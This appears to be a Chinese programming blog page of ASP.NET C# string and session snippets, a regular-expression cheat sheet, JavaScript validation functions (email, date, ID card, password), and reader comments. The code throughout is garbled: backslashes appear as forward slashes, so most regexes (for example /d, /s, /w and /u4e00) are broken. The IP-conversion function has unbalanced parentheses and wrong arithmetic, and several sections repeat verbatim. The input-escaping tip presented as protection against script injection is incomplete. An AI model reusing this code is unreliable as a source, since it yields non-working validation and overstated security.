    string user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString();;
    }

    10、 Session["变量"];;
    存取Session值;
    如,赋值: Session["username"]="小布什";;

    取值: Object objName=Session["username"];;
    String strName=objName.ToString();;
    清空: Session.RemoveAll();;

    11、String str=Request.QueryString["变量"];;
    用超链接传送变量。
    如在任一页中建超链接:〈a href=Edit.aspx?fbid=23〉点击〈/a〉
    在Edit.aspx页中取值:String str=Request.QueryString["fdid"];;

    12、DOC对象.CreateElement("新建节点名");;
    创建XML文档新节点

    13、父节点.AppendChild(子节点);
    将新建的子节点加到XML文档父节点下

    14、 父节点.RemoveChild(节点);;
    删除节点

    15、Response
    Response.Write("字串");
    Response.Write(变量);
    向页面输出。

    Response.Redirect("URL地址");
    跳转到URL指定的页面

    16、char.IsWhiteSpce(字串变量,位数)——逻辑型
    查指定位置是否空字符;
    如:
    string str="中国 人民";;
    Response.Write(char.IsWhiteSpace(str,2));; //结果为:True, 第一个字符是0位,2是第三个字符。

    17、char.IsPunctuation('字符') --逻辑型
    查字符是否是标点符号
    如:Response.Write(char.IsPunctuation('A'));; //返回:False

    18、(int)'字符'
    把字符转为数字,查代码点,注意是单引号。
    如:
    Response.Write((int)'中');; //结果为中字的代码:20013

    19、(char)代码
    把数字转为字符,查代码代表的字符。
    如:
    Response.Write((char)22269);; //返回;国”字。

    20、 Trim()
    清除字串前后空格

    21 、字串变量.Replace("子字串","替换为")
    字串替换
    如:
    string str="中国";;
    str=str.Replace("国","央");; //将国字换为央字
    Response.Write(str);; //输出结果为;中央”

    再如:(这个非常实用)

    string str="这是〈script〉脚本";;
    str=str.Replace("〈","〈font〉〈〈/font〉");; //将左尖括号替换为〈font〉 与 〈 与 〈/font〉 (或换为〈,但估计经XML存诸后,再提出仍会还原)
    Response.Write(str);; //显示为:;这是〈script〉脚本”

    如果不替换,〈script〉将不显示,如果是一段脚本,将运行;而替换后,脚本将不运行。
    这段代码的价值在于:你可以让一个文本中的所有HTML标签失效,全部显示出来,保护你的具有交互性的站点。
    具体实现:将你的表单提交按钮脚本加上下面代码:
    string strSubmit=label1.Text;; //label1是你让用户提交数据的控件ID。
    strSubmit=strSubmit.Replace("〈","〈font〉〈〈/font〉");;
    然后保存或输出strSubmit。
    用此方法还可以简单实现UBB代码。

    22、Math.Max(i,j)
    取i与j中的最大值
    如 int x=Math.Max(5,10);; // x将取值 10

    23、字串对比一般都用: if(str1==str2){ } , 但还有别的方法:

    (1)、
    string str1;; str2
    //语法: str1.EndsWith(str2);; __检测字串str1是否以字串str2结尾,返回布尔值.如:
    if(str1.EndsWith(str2)){ Response.Write("字串str1是以"+str2+"结束的");; }

    (2)、
    //语法:str1.Equals(str2);; __检测字串str1是否与字串str2相等,返回布尔值,用法同上.

    (3)、
    //语法 Equals(str1,str2);; __检测字串str1是否与字串str2相等,返回布尔值,用法同上.

    24、IndexOf() 、LastIndexOf()
    查找字串中指定字符或字串首次(最后一次)出现的位置,返回索引值,如:
    str1.IndexOf("字"); //查找;字”在str1中的索引值(位置)
    str1.IndexOf("字串");//查找;字串”的第一个字符在str1中的索引值(位置)
    str1.IndexOf("字串",3,2);//从str1第4个字符起,查找2个字符,查找;字串”的第一个字符在str1中的索引值(位置)

    25、Insert()
    在字串中指定索引位插入指定字符。如:
    str1.Insert(1,"字");;在str1的第二个字符处插入;字”,如果str1="中国",插入后为;中字国”;

    26、PadLeft()、PadRight()
    在字串左(或右)加空格或指定char字符,使字串达到指定长度,如:
    〈%
    string str1="中国人";;
    str1=str1.PadLeft(10,'1');; //无第二参数为加空格
    Response.Write(str1);; //结果为;1111111中国人” , 字串长为10
    %〉

    27、Remove()
    从指定位置开始删除指定数的字符
    字串对比一般都用: if(str1==str2){ } , 但还有别的方法:

    1、
    string str1;; str2
    //语法: str1.EndsWith(str2);; __检测字串str1是否以字串str2结尾,返回布尔值.如:
    if(str1.EndsWith(str2)){ Response.Write("字串str1是以"+str2+"结束的");; }

    2、
    //语法:str1.Equals(str2);; __检测字串str1是否与字串str2相等,返回布尔值,用法同上.

    3、
    //语法 Equals(str1,str2);; __检测字串str1是否与字串str2相等,返回布尔值,用法同上.

    IndexOf()
    查找字串中指定字符或字串首次出现的位置,返首索引值,如:
    str1.IndexOf("字"); //查找;字”在str1中的索引值(位置)
    str1.IndexOf("字串");//查找;字串”的第一个字符在str1中的索引值(位置)
    str1.IndexOf("字串",3,2);//从str1第4个字符起,查找2个字符,查找;字串”的第一个字符在str1中的索引值(位置)

    1.9 取中文日期显示——年月日时分
    string strY=currentTime.ToString("f");; //不显示秒

    1.10 取中文日期显示_年月
    string strYM=currentTime.ToString("y");;

    1.11 取中文日期显示_月日
    string strMD=currentTime.ToString("m");;

    1.12 取当前年月日,格式为:2003-9-23
    string strYMD=currentTime.ToString("d");;

    1.13 取当前时分,格式为:14:24
    string strT=currentTime.ToString("t");;
    2007/7/6

    转载(正则表达式)

    正则表达式用于字符串处理,表单验证等场合,实用高效,但用到时总是不太把握,以致往往要上网查一番。我将一些常用的表达式收藏在这里,作备忘之用。本贴随时会更新。

    匹配中文字符的正则表达式: [/u4e00-/u9fa5]

    匹配双字节字符(包括汉字在内):[^/x00-/xff]

    应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

    String.prototype.len=function(){return this.replace([^/x00-/xff]/g,"aa").length;}

    匹配空行的正则表达式:/n[/s| ]*/r

    匹配HTML标记的正则表达式:/<(.*)>.*<///1>|<(.*) //>/

    匹配首尾空格的正则表达式:(^/s*)|(/s*$)

     

    String.prototype.trim = function()
    {
        return this.replace(/(^/s*)|(/s*$)/g, "");
    }

    利用正则表达式分解和转换IP地址:

    下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的Javascript程序:

    function IP2V(ip)
    {
     re=/(/d+)/.(/d+)/.(/d+)/.(/d+)/g  //匹配IP地址的正则表达式
    if(re.test(ip))
    {
    return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1
    }
    else
    {
     throw new Error("Not a valid IP address!")
    }
    }

    不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下:

    var ip="10.100.20.168"
    ip=ip.split(".")
    alert("IP值是:"+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1))

    匹配Email地址的正则表达式:/w+([-+.]/w+)*@/w+([-.]/w+)*/./w+([-.]/w+)*

    匹配网址URL的正则表达式:http://([/w-]+/.)+[/w-]+(/[/w- ./?%&=]*)?

    利用正则表达式去除字串中重复的字符的算法程序:[注:此程序不正确,原因见本贴回复]

    var s="abacabefgeeii"
    var s1=s.replace(/(.).*/1/g,"$1")
    var re=new RegExp("["+s1+"]","g")
    var s2=s.replace(re,"")
    alert(s1+s2)  //结果为:abcefgi

    我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法,最终没有找到,这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符,再以重复的字符建立第二个表达式,取到不重复的字符,两者串连。这个方法对于字符顺序有要求的字符串可能不适用。

    得用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1

    s="http://www.9499.net/page1.htm"
    s=s.replace(/(.*//){0,}([^/.]+).*/ig,"$2")
    alert(s)

    利用正则表达式限制网页表单里的文本框输入内容:

    正则表达式限制只能输入中文:οnkeyup="value=value.replace(/[^/u4E00-/u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^/u4E00-/u9FA5]/g,''))"

    正则表达式限制只能输入全角字符: οnkeyup="value=value.replace(/[^/uFF00-/uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^/uFF00-/uFFFF]/g,''))"

    正则表达式限制只能输入数字:οnkeyup="value=value.replace(/[^/d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^/d]/g,''))"

    正则表达式限制只能输入数字和英文:οnkeyup="value=value.replace(/[/W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^/d]/g,''))"

     

    正则表达式,相关链接
    http://blog.csdn.net/laily/category/19548.aspx
    http://blog.csdn.net/laily/archive/2004/06/30/30525.aspx 微软的正则表达式教程(五):选择/编组和后向引用

    http://blog.csdn.net/laily/archive/2004/06/30/30522.aspx 微软的正则表达式教程(四):限定符和定位符

    http://blog.csdn.net/laily/archive/2004/06/30/30517.aspx 微软的正则表达式教程(三):字符匹配

    http://blog.csdn.net/laily/archive/2004/06/30/30514.aspx 微软的正则表达式教程(二):正则表达式语法和优先权顺序

    http://blog.csdn.net/laily/archive/2004/06/30/30511.aspx 微软的正则表达式教程(一):正则表达式简介

    http://blog.csdn.net/laily/archive/2004/06/30/30360.aspx 小程序大作为:高级查找/替换、正则表达式练习器、Javascript脚本程序调试器

    http://blog.csdn.net/laily/archive/2004/06/24/25872.aspx 经典正则表达式

    正则表达式,正规表达式,正则表达式匹配,正则表达式语法,模式匹配,正规表达式匹配 javascript正则表达式 ASP正则表达式 ASP.NET正则表达式 C#正则表达式 JSP正则表达式 PHP正则表达式 VB.NET正则表达式 VBSCript正则表达式编程 delphi正则表达式 jscript

     

    正则表达式 regular expression
    正则表达式 RegExp
    模式 pattern
    匹配 Match
    .NET命名空间: System.Text.RegularExpression

     

    补充:
    ^/d+$  //匹配非负整数(正整数 + 0)
    ^[0-9]*[1-9][0-9]*$  //匹配正整数
    ^((-/d+)|(0+))$  //匹配非正整数(负整数 + 0)
    ^-[0-9]*[1-9][0-9]*$  //匹配负整数
    ^-?/d+$    //匹配整数
    ^/d+(/./d+)?$  //匹配非负浮点数(正浮点数 + 0)
    ^(([0-9]+/.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*/.[0-9]+)|([0-9]*[1-9][0-9]*))$  //匹配正浮点数
    ^((-/d+(/./d+)?)|(0+(/.0+)?))$  //匹配非正浮点数(负浮点数 + 0)
    ^(-(([0-9]+/.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*/.[0-9]+)|([0-9]*[1-9][0-9]*)))$  //匹配负浮点数
    ^(-?/d+)(/./d+)?$  //匹配浮点数
    ^[A-Za-z]+$  //匹配由26个英文字母组成的字符串
    ^[A-Z]+$  //匹配由26个英文字母的大写组成的字符串
    ^[a-z]+$  //匹配由26个英文字母的小写组成的字符串
    ^[A-Za-z0-9]+$  //匹配由数字和26个英文字母组成的字符串
    ^/w+$  //匹配由数字、26个英文字母或者下划线组成的字符串
    ^[/w-]+(/.[/w-]+)*@[/w-]+(/.[/w-]+)+$    //匹配email地址
    ^[a-zA-z]+://匹配(/w+(-/w+)*)(/.(/w+(-/w+)*))*(/?/S*)?$  //匹配url

     

    利用正则表达式去除字串中重复的字符的算法程序:

    var s="abacabefgeeii"
    var s1=s.replace(/(.).*/1/g,"$1")
    var re=new RegExp("["+s1+"]","g")
    var s2=s.replace(re,"")
    alert(s1+s2) //结果为:abcefgi
    ===============================
    如果var s = "abacabefggeeii"
    结果就不对了,结果为:abeicfgg
    正则表达式的能力有限

     

    1.确认有效电子邮件格式
    下面的代码示例使用静态 Regex.IsMatch 方法验证一个字符串是否为有效电子邮件格式。如果字符串包含一个有效的电子邮件地址,则 IsValidEmail 方法返回 true,否则返回 false,但不采取其他任何操作。您可以使用 IsValidEmail,在应用程序将地址存储在数据库中或显示在 ASP.NET 页中之前,筛选出包含无效字符的电子邮件地址。

    [Visual Basic]
    Function IsValidEmail(strIn As String) As Boolean
    ' Return true if strIn is in valid e-mail format.
    Return Regex.IsMatch(strIn, ("^([/w-/.]+)@((/[[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.)|(([/w-]+/.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(/]?)$")
    End Function
    [C#]
    bool IsValidEmail(string strIn)
    {
    // Return true if strIn is in valid e-mail format.
    return Regex.IsMatch(strIn, @"^([/w-/.]+)@((/[[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.)|(([/w-]+/.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(/]?)$");
    }


    2.清理输入字符串
    下面的代码示例使用静态 Regex.Replace 方法从字符串中抽出无效字符。您可以使用这里定义的 CleanInput 方法,清除掉在接受用户输入的窗体的文本字段中输入的可能有害的字符。CleanInput 在清除掉除 @、-(连字符)和 .(句点)以外的所有非字母数字字符后返回一个字符串。

    [Visual Basic]
    Function CleanInput(strIn As String) As String
    ' Replace invalid characters with empty strings.
    Return Regex.Replace(strIn, "[^/w/.@-]", "")
    End Function
    [C#]
    String CleanInput(string strIn)
    {
    // Replace invalid characters with empty strings.
    return Regex.Replace(strIn, @"[^/w/.@-]", "");
    }


    3.更改日期格式
    以下代码示例使用 Regex.Replace 方法来用 dd-mm-yy 的日期形式代替 mm/dd/yy 的日期形式。

    [Visual Basic]
    Function MDYToDMY(input As String) As String
    Return Regex.Replace(input, _
    "/b(?<month>/d{1,2})/(?<day>/d{1,2})/(?<year>/d{2,4})/b", _
    "${day}-${month}-${year}")
    End Function
    [C#]
    String MDYToDMY(String input)
    {
    return Regex.Replace(input,
    "//b(?<month>//d{1,2})/(?<day>//d{1,2})/(?<year>//d{2,4})//b",
    "${day}-${month}-${year}");
    }
    Regex 替换模式
    本示例说明如何在 Regex.Replace 的替换模式中使用命名的反向引用。其中,替换表达式 ${day} 插入由 (?<day>...) 组捕获的子字符串。

    有几种静态函数使您可以在使用正则表达式操作时无需创建显式正则表达式对象,而 Regex.Replace 函数正是其中之一。如果您不想保留编译的正则表达式,这将给您带来方便


    4.提取 URL 信息
    以下代码示例使用 Match.Result 来从 URL 提取协议和端口号。例如,“http://www.contoso.com:8080/letters/readme.html”将返回“http:8080”。

    [Visual Basic]
    Function Extension(url As String) As String
    Dim r As New Regex("^(?<proto>/w+)://[^/]+?(?<port>:/d+)?/", _
    RegexOptions.Compiled)
    Return r.Match(url).Result("${proto}${port}")
    End Function
    [C#]
    String Extension(String url)
    {
    Regex r = new Regex(@"^(?<proto>/w+)://[^/]+?(?<port>:/d+)?/",
    RegexOptions.Compiled);
    return r.Match(url).Result("${proto}${port}");
    }

     

      一、正则表达式基础知识
      我们先从简单的开始。假设你要搜索一个包含字符“cat”的字符串,搜索用的正则表达式就是“cat”。如果搜索对大小写不敏感,单词“catalog”、“Catherine”、“sophisticated”都可以匹配。也就是说:


      1.1句点符号
      假设你在玩英文拼字游戏,想要找出三个字母的单词,而且这些单词必须以“t”字母开头,以“n”字母结束。另外,假设有一本英文字典,你可以用正则表达式搜索它的全部内容。要构造出这个正则表达式,你可以使用一个通配符??句点符号“.”。这样,完整的表达式就是“t.n”,它匹配“tan”、“ten”、“tin”和“ton”,还匹配 “t#n”、“tpn”甚至“tn”,还有其他许多无意义的组合。这是因为句点符号匹配所有字符,包括空格、Tab字符甚至换行符:

      1.2方括号符号
      为了解决句点符号匹配范围过于广泛这一问题,你可以在方括号(“[]”)里面指定看来有意义的字符。此时,只有方括号里面指定的字符才参与匹配。也就是说,正则表达式“t[aeio]n”只匹配“tan”、“Ten”、“tin”和“ton”。但“Toon”不匹配,因为在方括号之内你只能匹配单个字符:

      1.4表示匹配次数的符号
      表一显示了表示匹配次数的符号,这些符号用来确定紧靠该符号左边的符号出现的次数:

      假设我们要在文本文件中搜索美国的社会安全号码。这个号码的格式是999-99-9999。用来匹配它的正则表达式如图一所示。在正则表达式中,连字符(“-”)有着特殊的意义,它表示一个范围,比如从0到9。因此,匹配社会安全号码中的连字符号时,它的前面要加上一个转义字符“/”。

      图一:匹配所有123-12-1234形式的社会安全号码
      假设进行搜索的时候,你希望连字符号可以出现,也可以不出现??即,999-99-9999和999999999都属于正确的格式。这时,你可以在连字符号后面加上“?”数量限定符号,如图二所示:

      图二:匹配所有123-12-1234和123121234形式的社会安全号码
      下面我们再来看另外一个例子。美国汽车牌照的一种格式是四个数字加上二个字母。它的正则表达式前面是数字部分“[0-9]{ 4}”,再加上字母部分“[A-Z]{ 2}”。图三显示了完整的正则表达式

      图三:匹配典型的美国汽车牌照号码,如8836KV
      1.5“否”符号
      “^”符号称为“否”符号。如果用在方括号内,“^”表示不想要匹配的字符。例如,图四的正则表达式匹配所有单词,但以“X”字母开头的单词除外。

      图四:匹配所有单词,但“X”开头的除外
      1.6圆括号和空白符号
      假设要从格式为“June26,1951”的生日日期中提取出月份部分,用来匹配该日期的正则表达式可以如图五所示:

      图五:匹配所有MothDD,YYYY格式的日期
      新出现的“/s”符号是空白符号,匹配所有的空白字符,包括Tab字符。如果字符串正确匹配,接下来如何提取出月份部分呢?只需在月份周围加上一个圆括号创建一个组,然后用OROAPI(本文后面详细讨论)提取出它的值。修改后的正则表达式如图六所示:

      图六:匹配所有MonthDD,YYYY格式的日期,定义月份值为第一个组
      1.7其它符号
      为简便起见,你可以使用一些为常见正则表达式创建的快捷符号。如表二所示:
      表二:常用符号

      例如,在前面社会安全号码的例子中,所有出现“[0-9]”的地方我们都可以使用“/d”。修改后的正则表达式如图七所示:

     


    /*------------------------
    功能:替换任何空白字符
    -------------------------*/
    function TrimString (strVal)
    {
    strTmp = strVal + "";
    if (strTmp.length == 0)
    return (strTmp);
    reVal = /^/s*/;
    strTmp = strTmp.replace (reVal, '');
    reVal = //s*$/;
    return (strTmp.replace (reVal, ''));
    }

    /*------------------------
    功能:检测是否是有效数字
    -------------------------*/
    function Check_Num( num )
    {
    num = ( TrimString( num ) );
    if (num.length == 0)
    return (false);
    return ( Number( num ) );
    }

    /*------------------------
    功能:检测是否是有效日期
    -------------------------*/
    function Check_Date (strDate)
    {
    strDate = (TrimString (strDate));
    if (strDate.length == 0)
    return (false);
    reVal = /^([1-2]/d{3})[//|/-](0?[1-9]|10|11|12)[//|/-]([1-2]?[0-9]|0[1-9]|30|31)$/;
    return (reVal.test (strDate));
    }

    /*------------------------
    功能:检测是否是有效Email
    -------------------------*/
    function Check_Email (strEmail)
    {
    strEmail = (TrimString (strEmail));
    if (strEmail.length == 0)
    return (false);

    reVal = /^[/-!#/$%&'/*/+///.//0-9=/?A-Z/^_`a-z{|}~]+@[/-!#/$%&'/*/+///.//0-9=/?A-Z/^_`a-z{|}~]+(/.[/-!#/$%&'/*/+///.//0-9=/?A-Z/^_`a-z{|}~]+)+$/;
    return (reVal.test (strEmail));
    }

    /*------------------------
    功能:检测是否是有效时间
    -------------------------*/
    function Check_Time (strTime)
    {
    strTime = (TrimString (strTime));
    if (strTime.length == 0)
    return (false);

    reVal = /^(([0-9]|[01][0-9]|2[0-3])(:([0-9]|[0-5][0-9])){0,2}|(0?[0-9]|1[0-1])(:([0-9]|[0-5][0-9])){0,2}/s?[aApP][mM])?$/;
    return (reVal.test (strTime));
    }

    /*------------------------
    功能:检测是否是有效日期特定格式
    -------------------------*/
    function Check_Date_1 (strDate)
    {
    strDate = (TrimString (strDate));
    if (strDate.length == 0)
    return (false);
    reVal = /^([1-2]/d{3})[//](0?[1-9]|10|11|12)[//]([1-2]?[0-9]|0[1-9]|30|31)$/;
    return (reVal.test (strDate));
    }

    /*------------------------
    功能:检测是否是有效日期特定格式
    -------------------------*/
    function Check_Date_2 (strDate)
    {
    strDate = (TrimString (strDate));
    if (strDate.length == 0)
    return (false);
    reVal = /^([1-2]/d{3})[/-](0[1-9]|10|11|12)[/-]([1-2][0-9]|0[1-9]|30|31)$/;
    return (reVal.test (strDate));
    }

    /*--------------------------------------
    功能:换行定行
    ---------------------------------------*/
    function enter( form, temp )
    {
    if ( window.event.keyCode == 13 )
    {
    eval( form + temp + ".focus()" );
    eval( form + temp + ".select()" );
    }
    else
    return (false);
    }

    /*--------------------------------------
    功能:检查字符串长度
    ---------------------------------------*/
    function ByteString (strVal)
    {
    nLen = 0;

    for (i = 0; i < strVal.length; i ++)
    {
    if (strVal.charCodeAt (i) > 255)
    nLen += 2;
    else
    nLen ++;
    };
    return (nLen);
    }

    /*--------------------------------------
    功能:按要求截取字符串长度
    ---------------------------------------*/
    function SubString(strVal,nStrLen)
    {
    nLen = 0;
    nTemp = 0;
    for (i = 0; i < strVal.length; i ++)
    {
    if (strVal.charCodeAt (i) > 255)
    nLen += 2;
    else
    nLen ++;
    if(nLen <= nStrLen)
    nTemp = i;
    else
    break;
    };
    return(strVal.substr(0,nTemp+1));
    }

    /*------------------------
    功能:检测密码,密码只能由英文字母、数字、减号、下划线、$、#、*、(和)构成,且首位必须是英文字母
    -------------------------*/
    function Check_Pass( strPass )
    {
    strPass = ( TrimString( strPass ) );
    if (strPass.length == 0)
    return (false);
    reVal = /^[a-zA-Z]{1}[a-zA-Z0-9-_$#*()]{0,29}$/;
    return ( reVal.test (strPass) );
    }

    这是所有的,不过是PHP的,你自己转换一下吧~~

    # re: 正则表达式 2005-02-28 00:59 yongsheng

    ^(((19)|(20))/d{2})(((((-|/)0?)|0)[1-9])|((-|/)?1[0-2]))((((((-|/)0?)|0)[1-9])|((-|/)?[1-2][0-9]))|((-|/)?3[0-1]))$


    2004-1-1格式

    # re: 正则表达式 2005-03-07 14:33 yongsheng

    一、验证类
    1、数字验证内
    1.1 整数
    1.2 大于0的整数 (用于传来的ID的验证)
    1.3 负整数的验证
    1.4 整数不能大于iMax
    1.5 整数不能小于iMin
    2、时间类
    2.1 短时间,形如 (13:04:06)
    2.2 短日期,形如 (2003-12-05)
    2.3 长时间,形如 (2003-12-05 13:04:06)
    2.4 只有年和月。形如(2003-05,或者2003-5)
    2.5 只有小时和分钟,形如(12:03)
    3、表单类
    3.1 所有的表单的值都不能为空
    3.2 多行文本框的值不能为空。
    3.3 多行文本框的值不能超过sMaxStrleng
    3.4 多行文本框的值不能少于sMixStrleng
    3.5 判断单选框是否选择。
    3.6 判断复选框是否选择.
    3.7 复选框的全选,多选,全不选,反选
    3.8 文件上传过程中判断文件类型
    4、字符类
    4.1 判断字符全部由a-Z或者是A-Z的字字母组成
    4.2 判断字符由字母和数字组成。
    4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
    4.4 字符串替换函数.Replace();
    5、浏览器类
    5.1 判断浏览器的类型
    5.2 判断ie的版本
    5.3 判断客户端的分辨率

    6、结合类
    6.1 email的判断。
    6.2 手机号码的验证
    6.3 身份证的验证


    二、功能类

    1、时间与相关控件类
    1.1 日历
    1.2 时间控件
    1.3 万年历
    1.4 显示动态显示时钟效果(文本,如OA中时间)
    1.5 显示动态显示时钟效果 (图像,像手表)
    2、表单类
    2.1 自动生成表单
    2.2 动态添加,修改,删除下拉框中的元素
    2.3 可以输入内容的下拉框
    2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送)

    3、打印类
    3.1 打印控件
    4、事件类
    4.1 屏蔽右键
    4.2 屏蔽所有功能键
    4.3 --> 和<-- F5 F11,F9,F1
    4.4 屏蔽组合键ctrl+N
    5、网页设计类
    5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现)
    5.2 html编辑控件类
    5.3 颜色选取框控件
    5.4 下拉菜单
    5.5 两层或多层次的下拉菜单
    5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目)
    5.7 状态栏,title栏的动态效果(例子很多,可以研究一下)
    5.8 双击后,网页自动滚屏
    6、树型结构。
    6.1 asp+SQL版
    6.2 asp+xml+sql版
    6.3 java+sql或者java+sql+xml
    7、无边框效果的制作
    8、连动下拉框技术
    9、文本排序


    一、验证类
    1、数字验证内
    1.1 整数
    /^(-|/+)?/d+$/.test(str)
    1.2 大于0的整数 (用于传来的ID的验证)
    /^/d+$/.test(str)
    1.3 负整数的验证
    /^-/d+$/.test(str)
    2、时间类
    2.1 短时间,形如 (13:04:06)
    function isTime(str)
    {
    var a = str.match(/^(/d{1,2})(:)?(/d{1,2})/2(/d{1,2})$/);
    if (a == null) {alert('输入的参数不是时间格式'); return false;}
    if (a[1]>24 || a[3]>60 || a[4]>60)
    {
    alert("时间格式不对");
    return false
    }
    return true;
    }
    2.2 短日期,形如 (2003-12-05)
    function strDateTime(str)
    {
    var r = str.match(/^(/d{1,4})(-|//)(/d{1,2})/2(/d{1,2})$/);
    if(r==null)return false;
    var d= new Date(r[1], r[3]-1, r[4]);
    return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
    }
    2.3 长时间,形如 (2003-12-05 13:04:06)
    function strDateTime(str)
    {
    var reg = /^(/d{1,4})(-|//)(/d{1,2})/2(/d{1,2}) (/d{1,2}):(/d{1,2}):(/d{1,2})$/;
    var r = str.match(reg);
    if(r==null)return false;
    var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]);
    return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==r[7]);
    }
    2.4 只有年和月。形如(2003-05,或者2003-5)
    2.5 只有小时和分钟,形如(12:03)
    3、表单类
    3.1 所有的表单的值都不能为空
    <input οnblur="if(this.value.replace(/^/s+|/s+$/g,'')=='')alert('不能为空!')">
    3.2 多行文本框的值不能为空。
    3.3 多行文本框的值不能超过sMaxStrleng
    3.4 多行文本框的值不能少于sMixStrleng
    3.5 判断单选框是否选择。
    3.6 判断复选框是否选择.
    3.7 复选框的全选,多选,全不选,反选
    3.8 文件上传过程中判断文件类型
    4、字符类
    4.1 判断字符全部由a-Z或者是A-Z的字字母组成
    <input οnblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')">
    4.2 判断字符由字母和数字组成。
    <input οnblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')">
    4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
    /^([a-zA-z_]{1})([/w]*)$/g.test(str)
    4.4 字符串替换函数.Replace();
    5、浏览器类
    5.1 判断浏览器的类型
    window.navigator.appName
    5.2 判断ie的版本
    window.navigator.appVersion
    5.3 判断客户端的分辨率
    window.screen.height; window.screen.width;

    6、结合类
    6.1 email的判断。
    function ismail(mail)
    {
    return(new RegExp(/^/w+((-/w+)|(/./w+))*/@[A-Za-z0-9]+((/.|-)[A-Za-z0-9]+)*/.[A-Za-z0-9]+$/).test(mail));
    }
    6.2 手机号码的验证
    6.3 身份证的验证
    function isIdCardNo(num)
    {
    if (isNaN(num)) {alert("输入的不是数字!"); return false;}
    var len = num.length, re;
    if (len == 15)
    re = new RegExp(/^(/d{6})()?(/d{2})(/d{2})(/d{2})(/d{3})$/);
    else if (len == 18)
    re = new RegExp(/^(/d{6})()?(/d{4})(/d{2})(/d{2})(/d{3})(/d)$/);
    else {alert("输入的数字位数不对!"); return false;}
    var a = num.match(re);
    if (a != null)
    {
    if (len==15)
    {
    var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]);
    var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
    }
    else
    {
    var D = new Date(a[3]+"/"+a[4]+"/"+a[5]);
    var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
    }
    if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;}
    }
    return true;
    }

    3.7 复选框的全选,多选,全不选,反选
    <form name=hrong>
    <input type=checkbox name=All οnclick="checkAll('mm')">全选<br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/><br/>


    <input type=checkbox name=All2 οnclick="checkAll('mm2')">全选<br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>

    </form>

    <SCRIPT LANGUAGE="JavaScript">
    function checkAll(str)
    {
    var a = document.getElementsByName(str);
    var n = a.length;
    for (var i=0; i<n; i++)
    a[i].checked = window.event.srcElement.checked;
    }
    function checkItem(str)
    {
    var e = window.event.srcElement;
    var all = eval("document.hrong."+ str);
    if (e.checked)
    {
    var a = document.getElementsByName(e.name);
    all.checked = true;
    for (var i=0; i<a.length; i++)
    {
    if (!a[i].checked){ all.checked = false; break;}
    }
    }
    else all.checked = false;
    }
    </SCRIPT>

    3.8 文件上传过程中判断文件类型
    <input type=file οnchange="alert(this.value.match(/^(.*)(/.)(.{1,8})$/)[3])">

    画图:
    <OBJECT
    id=S
    style="LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px"
    height=240
    width=392
    classid="clsid:369303C2-D7AC-11D0-89D5-00A0C90833E6">
    </OBJECT>
    <SCRIPT>
    S.DrawingSurface.ArcDegrees(0,0,0,30,50,60);
    S.DrawingSurface.ArcRadians(30,0,0,30,50,60);
    S.DrawingSurface.Line(10,10,100,100);
    </SCRIPT>

    写注册表:
    <SCRIPT>
    var WshShell = WScript.CreateObject("WScript.Shell");
    WshShell.RegWrite ("HKCU//Software//ACME//FortuneTeller//", 1, "REG_BINARY");
    WshShell.RegWrite ("HKCU//Software//ACME//FortuneTeller//MindReader", "Goocher!", "REG_SZ");
    var bKey = WshShell.RegRead ("HKCU//Software//ACME//FortuneTeller//");
    WScript.Echo (WshShell.RegRead ("HKCU//Software//ACME//FortuneTeller//MindReader"));
    WshShell.RegDelete ("HKCU//Software//ACME//FortuneTeller//MindReader");
    WshShell.RegDelete ("HKCU//Software//ACME//FortuneTeller//");
    WshShell.RegDelete ("HKCU//Software//ACME//");
    </SCRIPT>

